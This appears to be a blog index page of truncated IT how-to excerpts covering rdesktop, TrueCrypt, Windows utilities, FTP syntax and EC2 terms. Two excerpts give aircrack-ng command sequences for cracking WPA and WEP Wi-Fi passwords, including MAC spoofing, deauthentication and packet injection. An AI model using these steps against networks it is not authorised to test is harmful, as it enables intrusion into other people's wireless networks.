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Using Remote Desktop for Linux with rdesktop

rdesktop client can be used to connect to Windows Terminal Services for Remote Desktop Protocol (RDP) from Linux machines. The rdesktop client supports all version of Microsoft Windows including the latest, Windows Server 2008 and Windows 7 Operating Systems, and it runs on most unix based platforms as well as other ports. Visit http://sourceforge.net/projects/rdesktop/ for more information or to […]

HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes. Steps: airmon-ng stop wlan0 ifconfig wlan0 down macchanger –mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 airodump-ng wlan0 airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0 aireplay-ng -0 5 -a (bssid)wlan0 aircrack-ng (filename-01.cap)-w (dictionary location) […]

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes. Steps: airmon-ng stop wlan0 ifconfig wlan0 down macchanger –mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 airodump-ng wlan0 airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0 aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0 aireplay-ng -3 -b (bssid) […]

TrueCrypt – Free Open Source Industrial Strength Encryption

TrueCrypt provides a solution for encrypting sensitive data – everything from portable, mountable volumes to entire hard disks.  Encrypting your data renders that access useless, even if your computer or your thumbdrive falls into the wrong hands. And TrueCrypt makes it not only easy, but nearly un-crackable.  TrueCrypt is both open source and FREE. There are two approaches […]

32 FREE Windows Administration Utilities

BareTail. A free real-time log file monitoring tool. CamStudio. Free screen recording software. CDBurnerXP. Burns CD-ROMs, DVDs, audio CDs, and ISO images. Comodo Firewall Pro. Is a firewall and antivirus application. DriveImage XML. Is a program for imaging and backing up partitions and logical drives. FileZilla. GUI FTP client. GParted LiveCD. Manages partitions on systems. InfraRecorder. Burns ISO […]

How to keep your email safe from sniffing

Every time you use public internet facilities and hotspots you may be at risk where others are able to “sniff” or listen in to the wireless network traffic within range and from that, determine account names, servers and passwords from anyone who happens to check email while the “hacker” is looking. The simplest solution is to use webmail, making […]

FTP – File Transfer Protocol

FTP File Transfer Protocol Syntax FTP [-options] [-s:filename] [-w:buffer] [host]key -s:filename Run a text file containing FTP commands. host Host name or IP address of the remote host. -g Disable filename wildcards. -n No auto-login. -i No interactive prompts during ftp. -v Hide remote server responses. -w:buffer Set buffer size to buffer (default=4096) -d Debug -a Use any […]

Glossary of Amazon EC2 terms

Amazon machine image (AMI)An Amazon Machine Image (AMI) is an encrypted machine image stored in Amazon S3. It contains all the information necessary to boot instances of your software. Amazon EBSA type of storage that enables you to create volumes that can be mounted as devices by Amazon EC2 instances. Amazon EBS volumes behave like raw unformatted external […]